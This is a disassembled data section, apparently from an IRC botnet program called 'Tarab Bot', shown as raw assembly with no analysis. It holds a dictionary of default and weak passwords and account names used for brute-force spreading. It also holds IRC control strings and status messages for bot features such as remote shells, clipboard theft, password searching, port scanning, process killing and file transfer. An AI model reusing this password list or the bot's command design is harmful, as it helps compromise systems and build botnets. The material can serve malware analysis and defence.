a12345678 db '12345678',0 ; DATA XREF: .data:0042EBC0o
align 10h
a1234567 db '1234567',0 ; DATA XREF: .data:0042EBBCo
a123456 db '123456',0 ; DATA XREF: .data:0042EBB8o
align 10h
a12345 db '12345',0 ; DATA XREF: .data:0042EBB4o
align 4
a1234 db '1234',0 ; DATA XREF: .data:0042EBB0o
align 10h
a123 db '123',0 ; DATA XREF: .data:0042EBACo
a12 db '12',0 ; DATA XREF: .data:0042EBA8o
align 4
a1_0: ; DATA XREF: .data:0042EBA4o
unicode 0, <1>,0
aTemp123 db 'temp123',0 ; DATA XREF: .data:0042EBA0o
aChangeme_0 db 'Changeme',0 ; DATA XREF: .data:0042EB9Co
align 10h
aChangeme db 'changeme',0 ; DATA XREF: .data:0042EB98o
align 4
aLinux db 'linux',0 ; DATA XREF: .data:0042EB94o
align 4
aUnix db 'unix',0 ; DATA XREF: .data:0042EB90o
align 4
aLocal db 'LOCAL',0 ; DATA XREF: .data:0042EB8Co
align 4
aPepsi db 'pepsi',0 ; DATA XREF: .data:0042EB88o
align 4
aServer_0 db 'SERVER',0 ; DATA XREF: .data:0042EB84o
align 4
aSystem db 'SYSTEM',0 ; DATA XREF: .data:0042EB80o
align 4
aBackup db 'BACKUP',0 ; DATA XREF: .data:0042EB7Co
align 4
aAccess db 'ACCESS',0 ; DATA XREF: .data:0042EB74o
align 4
aTest db 'TEST',0 ; DATA XREF: .data:0042EB70o
align 4
aEdu db 'edu',0 ; DATA XREF: .data:0042EB6Co
aOwner_1 db 'Owner',0 ; DATA XREF: .data:0042EB68o
align 10h
aOwner_0 db 'OWNER',0 ; DATA XREF: .data:0042EB64o
align 4
aDemo db 'DEMO',0 ; DATA XREF: .data:0042EB60o
align 10h
aFiles db 'FILES',0 ; DATA XREF: .data:0042EB5Co
align 4
aRead db 'READ',0 ; DATA XREF: .data:0042EB58o
align 10h
aBoth db 'BOTH',0 ; DATA XREF: .data:0042EB54o
align 4
aLadeda db 'ladeda',0 ; DATA XREF: .data:0042EB50o
align 10h
aFull_0 db 'FULL',0 ; DATA XREF: .data:0042EB4Co
align 4
aWrite db 'WRITE',0 ; DATA XREF: .data:0042EB48o
align 10h
aShare_0 db 'SHARE',0 ; DATA XREF: .data:0042EB44o
align 4
aTemp db 'TEMP',0 ; DATA XREF: .data:0042EB40o
align 10h
aPassword db 'PASSWORD',0 ; DATA XREF: .data:0042EB3Co
align 4
aAdmin_0 db 'ADMIN',0 ; DATA XREF: .data:0042EB38o
align 4
aRoot_0 db 'ROOT',0 ; DATA XREF: .data:0042EB30o
align 4
aGuest_1 db 'GUEST',0 ; DATA XREF: .data:0042EB2Co
align 4
aBla db 'bla',0 ; DATA XREF: .data:0042EB28o
aFubar db 'fubar',0 ; DATA XREF: .data:0042EB24o
align 10h
aAdministrato_2 db 'ADMINISTRATOR',0 ; DATA XREF: .data:0042EB18o
align 10h
aDb2 db 'db2',0 ; DATA XREF: .data:0042EB04o
aOracle db 'oracle',0 ; DATA XREF: .data:0042EB00o
; .data:0042EBF0o
align 4
aDba db 'dba',0 ; DATA XREF: .data:0042EAFCo
aDatabase db 'database',0 ; DATA XREF: .data:0042EAF8o
; .data:0042EBE4o
align 4
aDefault db 'default',0 ; DATA XREF: .data:0042EAF4o
; .data:0042F284o
aGuest_0 db 'guest',0 ; DATA XREF: .data:0042EAF0o
align 4
aWwwadmin db 'wwwadmin',0 ; DATA XREF: .data:0042EAECo
align 4
aTeacher db 'teacher',0 ; DATA XREF: .data:0042EAE8o
; .data:00430218o
aStudent db 'student',0 ; DATA XREF: .data:0042EAE4o
; .data:00430160o
aOwner db 'owner',0 ; DATA XREF: .data:0042EAE0o
align 10h
aComputer db 'computer',0 ; DATA XREF: .data:0042EADCo
; .data:0042EBFCo
align 4
aRoot db 'root',0 ; DATA XREF: .data:0042EAD8o
; .data:0042EB34o
align 4
aStaff db 'staff',0 ; DATA XREF: .data:0042EAD4o
align 4
aAdmin db 'admin',0 ; DATA XREF: .data:0042EAD0o
align 4
aAdmins db 'admins',0 ; DATA XREF: .data:0042EACCo
align 4
aAdministrat db 'administrat',0 ; DATA XREF: .data:0042EAC8o
aAdministrateur db 'administrateur',0 ; DATA XREF: .data:0042EAC4o
align 4
aAdministrador db 'administrador',0 ; DATA XREF: .data:0042EAC0o
align 4
aAdministrato_1 db 'administrator',0 ; DATA XREF: .data:0042EABCo
; .data:0042EB20o
align 4
aTarabTool_0 db 'Tarab tool',0 ; DATA XREF: .data:off_42EA08o
align 4
a@admin_com db '*@admin.com',0 ; DATA XREF: .data:off_42EA04o
dword_434460 dd 72023602h, 28201F62h, 2E637269h, 1F6C1F70h, 2202967h
; DATA XREF: sub_40E48A+340o
dd 2002BBBBh, 746F4220h, 61747320h, 64657472h, 2Eh
dword_434488 dd 25207325h, 25222064h, 2273h ; DATA XREF: sub_40E48A+26Eo
unk_434494 db 2 ; DATA XREF: sub_40E961+F2o
db 36h, 2, 72h
db 62h ; b
db 20h, 28h, 69h
db 72h ; r
db 63h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aConnectedToS_ db 'Connected to %s.',0
align 10h
aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_40EAC7+62o
db 'USER %s 0 0 :%s',0Dh,0Ah,0
align 4
aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_40EAC7+35o
align 4
aModeSS db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40EC43+623Ao
align 4
aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_40EC43+6225o
align 4
dword_434508 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+6211o
dd 2BBBB02h
aUserSLoggedIn_ db ' User: %s logged in.',0
align 4
dword_434538 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+61F4o
dd 2BBBB02h
aTarabBotAccept db ' Tarab Bot accepted.',0
align 4
dword_434568 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+619Fo
dd 2BBBB02h
aTarabBotFail_8 db ' *Tarab Bot Failed host auth by: (%s!%s).',0
align 10h
dword_4345B0 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+6132o
dd 2BBBB02h
aTarabBotFail_9 db ' *Tarab Bot Failed pass auth by: (%s!%s).',0
align 4
aNoticeSYouVeBe db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0
; DATA XREF: sub_40EC43+6123o
; sub_40EC43+6190o
align 4
aNoticeSNiceTry db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0
; DATA XREF: sub_40EC43+610Fo
; sub_40EC43+617Co
align 10h
asc_434640: ; DATA XREF: sub_40EC43+60DFo
unicode 0, <~>,0
dword_434644 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+608Eo
dd 2BBBB02h
aRandomNickChan db ' Random nick change: %s',0
align 4
dword_434678 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+5FE0o
dd 2BBBB02h
aInvalidLoginSl db ' Invalid login slot number: %d.',0
align 4
dword_4346B4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+5FD5o
dd 2BBBB02h
aNoUserLoggedIn db ' No user logged in at slot: %d.',0
align 10h
dword_4346F0 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+5FC2o
; sub_40EC43+6022o
dd 2BBBB02h
aUserSLoggedOut db ' User %s logged out.',0
align 10h
dword_434720 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+5F84o
dd 2BBBB02h, 73252020h, 0
unk_434740 db 2 ; DATA XREF: sub_40EC43+5F60o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToStar_2 db ' Failed to start secure thread, error: <%d>.',0
align 4
dword_43478C dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h
; DATA XREF: sub_40EC43+5EFCo
dd 2202967h, 2002BBBBh, 20732520h, 74737973h, 2E6D65h
aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_40EC43+5EF6o
align 10h
aSecuring db 'Securing',0 ; DATA XREF: sub_40EC43+5EEFo
align 4
aSec db 'sec',0 ; DATA XREF: sub_40EC43+5E94o
aSecure db 'secure',0 ; DATA XREF: sub_40EC43+5E83o
align 4
unk_4347D8 db 2 ; DATA XREF: sub_40EC43+5E63o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Fh, 63h
db 6Bh ; k
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToStar_3 db 'Failed to start server thread, error: <%d>.',0
dword_434820 dd 69026602h, 6966646Eh, 1F651F6Ch, 2E2Eh ; DATA XREF: sub_40EC43+5D40o
dword_434830 dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_40EC43+5D3Bo
dword_43483C dd 72027002h, 1F631F6Fh, 2E2Eh ; DATA XREF: sub_40EC43+5D2Bo
dword_434848 dd 636F7250h, 20737365h, 7473696Ch, 0 ; DATA XREF: sub_40EC43+5D26o
dword_434858 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+5CF0o
dd 2BBBB02h, 65522020h, 6E6E6F63h, 69746365h, 2E676Eh
aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40EC43:loc_414926o
align 4
dword_434898 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+5CCEo
dd 2BBBB02h, 69442020h, 6E6F6373h, 7463656Eh, 2E676E69h
dd 0
aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40EC43:loc_414904o
align 4
aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_40EC43+5C98o
align 4
dword_4348E8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+5C4Co
dd 2BBBB02h
aStatusReady_Bo db ' Status: Ready. Bot Uptime: %s.',0
align 4
dword_434924 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+5C0Eo
dd 2BBBB02h, 6F422020h, 44492074h, 7325203Ah, 2Eh, 0
dword_434950 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
; DATA XREF: sub_40EC43+5BE4o
dd 2029671Fh, 2BBBB02h
aFailedToStartL db ' Failed to start list thread, error: <%d>.',0
dword_434998 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
; DATA XREF: sub_40EC43+5B8Bo
dd 2029671Fh, 2BBBB02h, 694C2020h, 74207473h, 61657268h
dd 2E7364h
dword_4349C4 dd 627573h ; DATA XREF: sub_40EC43+5B65o
dword_4349C8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+5B13o
dd 2BBBB02h, 6C412020h, 20736169h, 7473696Ch, 2Eh
dword_4349F0 dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+5AE3o
dd 2BBBB02h
aFailedToStar_4 db ' Failed to start listing thread, error: <%d>.',0
align 4
dword_434A38 dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+5A6Co
dd 2BBBB02h, 694C2020h, 6E697473h, 6F6C2067h, 2E67h
dword_434A60 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+59E5o
dd 2BBBB02h, 654E2020h, 726F7774h, 6E49206Bh, 2E6F66h
dword_434A88 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+59B6o
dd 2BBBB02h, 79532020h, 6D657473h, 666E4920h, 2E6Fh
dword_434AB0 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+5961o
dd 2BBBB02h, 65522020h, 69766F6Dh, 4220676Eh, 2E746Fh
unk_434AD8 db 2 ; DATA XREF: sub_40EC43+5930o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 72h, 6Fh
db 63h ; c
db 65h, 2 dup(73h)
db 65h ; e
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToStar_5 db 'Failed to start listing thread, error: <%d>.',0
align 4
dword_434B28 dd 7A026E02h, 201F6D1Fh, 6F727028h, 73736563h, 702E7365h
; DATA XREF: sub_40EC43+58D1o
dd 671F6C1Fh, 0BB022029h, 202002BBh, 636F7250h, 73736563h
dd 73696C20h, 2E74h
aFull db 'full',0 ; DATA XREF: sub_40EC43+58B1o
align 10h
unk_434B60 db 2 ; DATA XREF: sub_40EC43+584Fo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 72h, 6Fh
db 63h ; c
db 65h, 2 dup(73h)
db 65h ; e
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aAlreadyRunning db 'Already running.',0
align 4
unk_434B94 db 2 ; DATA XREF: sub_40EC43+5823o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 63h, 64h, 6Bh
db 65h ; e
db 79h, 73h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aSearchComplete db ' Search completed.',0
align 4
dword_434BC4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+57D4o
dd 2BBBB02h, 70552020h, 656D6974h, 7325203Ah, 2Eh
dword_434BEC dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43:loc_41437Ao
dd 2BBBB02h
aRemoteShellRea db ' Remote shell ready.',0
align 4
dword_434C1C dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+5730o
dd 2BBBB02h
aCouldnTOpenRem db ' Couldn',27h,'t open remote shell.',0
align 4
dword_434C54 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+5714o
dd 2BBBB02h
aRemoteShellAlr db ' Remote shell already running.',0
dword_434C8C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+56FEo
dd 2BBBB02h, 65472020h, 6C432074h, 6F627069h, 2E647261h
dd 0
aClipboardData db '-[Clipboard Data]-',0 ; DATA XREF: sub_40EC43+56D0o
align 4
unk_434CCC db 2 ; DATA XREF: sub_40EC43:loc_414303o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 6Ch, 75h
db 73h ; s
db 68h, 64h, 6Eh
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToFlushA db ' Failed to flush ARP cache.',0
align 4
unk_434D08 db 2 ; DATA XREF: sub_40EC43+56ABo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 6Ch, 75h
db 73h ; s
db 68h, 64h, 6Eh
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aArpCacheFlushe db ' ARP cache flushed.',0
align 4
unk_434D3C db 2 ; DATA XREF: sub_40EC43:loc_4142D2o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 6Ch, 75h
db 73h ; s
db 68h, 64h, 6Eh
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToLoadDn db ' Failed to load dnsapi.dll.',0
align 4
unk_434D78 db 2 ; DATA XREF: sub_40EC43:loc_4142CBo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 6Ch, 75h
db 73h ; s
db 68h, 64h, 6Eh
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToFlushD db ' Failed to flush DNS cache.',0
align 4
unk_434DB4 db 2 ; DATA XREF: sub_40EC43+5681o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 6Ch, 75h
db 73h ; s
db 68h, 64h, 6Eh
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDnsCacheFlushe db ' DNS cache flushed.',0
align 4
dword_434DE8 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_40EC43+55EEo
dd 2029671Fh, 2BBBB02h
aFailedToStar_6 db ' Failed to start server thread, error: <%d>.',0
align 8
dword_434E38 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_40EC43+5595o
dd 2029671Fh, 2BBBB02h
aServerListenin db ' Server listening on IP: %s:%d, Username: %s.',0
align 8
unk_434E88 db 2 ; DATA XREF: sub_40EC43+54B7o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 68h, 2 dup(74h)
db 70h ; p
db 64h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToStar_7 db 'Failed to start server thread, error: <%d>.',0
unk_434ED0 db 2 ; DATA XREF: sub_40EC43+545Eo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 68h, 2 dup(74h)
db 70h ; p
db 64h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aServerListen_0 db 'Server listening on IP: %s:%d, Directory: %s\.',0
align 10h
unk_434F20 db 2 ; DATA XREF: sub_40EC43+5342o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 74h, 66h, 74h
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStar_8 db ' Failed to start server thread, error: <%d>.',0
align 4
unk_434F68 db 2 ; DATA XREF: sub_40EC43+52E9o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 74h, 66h, 74h
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aServerStarte_0 db ' Server started on Port: %d, File: %s, Request: %s.',0
align 4
unk_434FB8 db 2 ; DATA XREF: sub_40EC43+5235o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 74h, 66h, 74h
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aAlreadyRunni_0 db ' Already running.',0
align 8
unk_434FE8 db 2 ; DATA XREF: sub_40EC43+520Do
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 69h, 6Eh
db 64h ; d
db 70h, 61h, 73h
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStar_9 db ' Failed to start search thread, error: <%d>.',0
unk_435034 db 2 ; DATA XREF: sub_40EC43+519Do
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 69h, 6Eh
db 64h ; d
db 70h, 61h, 73h
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSearchingForPa db ' Searching for password.',0
align 10h
unk_435070 db 2 ; DATA XREF: sub_40EC43:loc_413DBCo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 72h, 2 dup(6Fh)
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_10 db ' Failed to start scan, port is invalid.',0
align 8
unk_4350B8 db 2 ; DATA XREF: sub_40EC43+50BAo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 72h, 2 dup(6Fh)
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSPortScanStart db ' %s Port Scan started on %s:%d with a delay of %d seconds for %d'
db ' minutes using %d threads.',0
align 10h
dword_435130 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+4E72o
dd 2BBBB02h
aNickChangedToS db ' Nick changed to: ',27h,'%s',27h,'.',0
align 4
dword_435164 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+4E59o
dd 2BBBB02h
aJoinedChannelS db ' Joined channel: ',27h,'%s',27h,'.',0
dword_435194 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+4E3Co
dd 2BBBB02h
aPartedChannelS db ' Parted channel: ',27h,'%s',27h,'.',0
dword_4351C4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+4E26o
dd 2BBBB02h, 52492020h, 61522043h, 25203A77h, 2E73h
dword_4351EC dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
; DATA XREF: sub_40EC43:loc_4139F5o
dd 2029671Fh, 2BBBB02h
aFailedToKillTh db ' Failed to kill thread: %s.',0
align 4
dword_435228 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
; DATA XREF: sub_40EC43+4DABo
dd 2029671Fh, 2BBBB02h, 694B2020h
db 6Ch
aLedThreadS_ db 'led thread: %s.',0 ; DATA XREF: .data:off_4264F4o
align 4
dword_43525C dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
; DATA XREF: sub_40EC43:loc_4139B1o
dd 2029671Fh, 2BBBB02h
aNoActiveThread db ' No active threads found.',0
align 4
dword_435294 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
; DATA XREF: sub_40EC43+4D64o
dd 2029671Fh, 2BBBB02h
aStoppedDThread db ' Stopped: %d thread(s).',0
align 4
aAll db 'all',0 ; DATA XREF: sub_40EC43+4D4Ao
aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_40EC43+4CC3o
; sub_40EC43:loc_4148EDo
align 10h
dword_4352E0 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+4C4Bo
dd 2BBBB02h
aPrefixChangedT db ' Prefix changed to: ',27h,'%c',27h,'.',0
align 8
dword_435318 dd 2C353103h, 36203431h, 3206272h, 202E2E32h, 28353103h
; DATA XREF: sub_40EC43:loc_413879o
dd 6C656873h, 2E32036Ch, 6D353103h, 2029646Fh, 3BB3203h
a15CouldnTOpenF db '15 Couldn',27h,'t open file: %s',0
align 4
dword_43535C dd 2C353103h, 36203431h, 3206272h, 202E2E32h, 28353103h
; DATA XREF: sub_40EC43+4C2Co
dd 6C656873h, 2E32036Ch, 6D353103h, 2029646Fh, 3BB3203h
a15FileOpenedS db '15 File opened: %s',0
dword_435398 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+4C03o
dd 2BBBB02h
aServerChangedT db ' Server changed to: ',27h,'%s',27h,'.',0
align 4
dword_4353CC dd 7A026E02h, 201F6D1Fh, 736E6428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43:loc_41382Ao
dd 2BBBB02h
aCouldnTResol_0 db ' Couldn',27h,'t resolve hostname.',0
align 4
dword_435404 dd 7A026E02h, 201F6D1Fh, 736E6428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+4BBCo
dd 2BBBB02h
aLookupSS_ db ' Lookup: %s -> %s.',0
unk_435430 db 2 ; DATA XREF: sub_40EC43:loc_4137CBo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 72h, 6Fh
db 63h ; c
db 65h, 2 dup(73h)
db 65h ; e
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToTermin db 'Failed to terminate process: %s',0
unk_435470 db 2 ; DATA XREF: sub_40EC43+4B7Eo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 72h, 6Fh
db 63h ; c
db 65h, 2 dup(73h)
db 65h ; e
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aProcessKilledS db 'Process killed: %s',0
align 8
unk_4354A8 db 2 ; DATA XREF: sub_40EC43:loc_413771o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 72h, 6Fh
db 63h ; c
db 65h, 2 dup(73h)
db 65h ; e
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToTerm_0 db 'Failed to terminate process ID: %s',0
align 4
unk_4354EC db 2 ; DATA XREF: sub_40EC43+4B27o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 72h, 6Fh
db 63h ; c
db 65h, 2 dup(73h)
db 65h ; e
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aProcessKilledI db 'Process killed ID: %s',0
align 4
dword_435524 dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch
; DATA XREF: sub_40EC43+4AE0o
dd 0BBBB0220h, 44202002h, 74656C65h, 27206465h, 2E277325h
dd 0
dword_435550 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+4AB5o
dd 2BBBB02h
aFailedToStartT db ' Failed to start transfer thread, error: <%d>.',0
dword_435598 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+4A5Co
dd 2BBBB02h
aSendFileSUserS db ' Send File: %s, User: %s.',0
align 4
dword_4355CC dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch
; DATA XREF: sub_40EC43+49EAo
dd 0BBBB0220h, 4C202002h, 3A747369h, 732520h
unk_4355F0 db 2 ; DATA XREF: sub_40EC43+49ABo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 76h, 69h, 73h
db 69h ; i
db 74h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToSta_11 db 'Failed to start connection thread, error: <%d>.',0
dword_43563C dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh
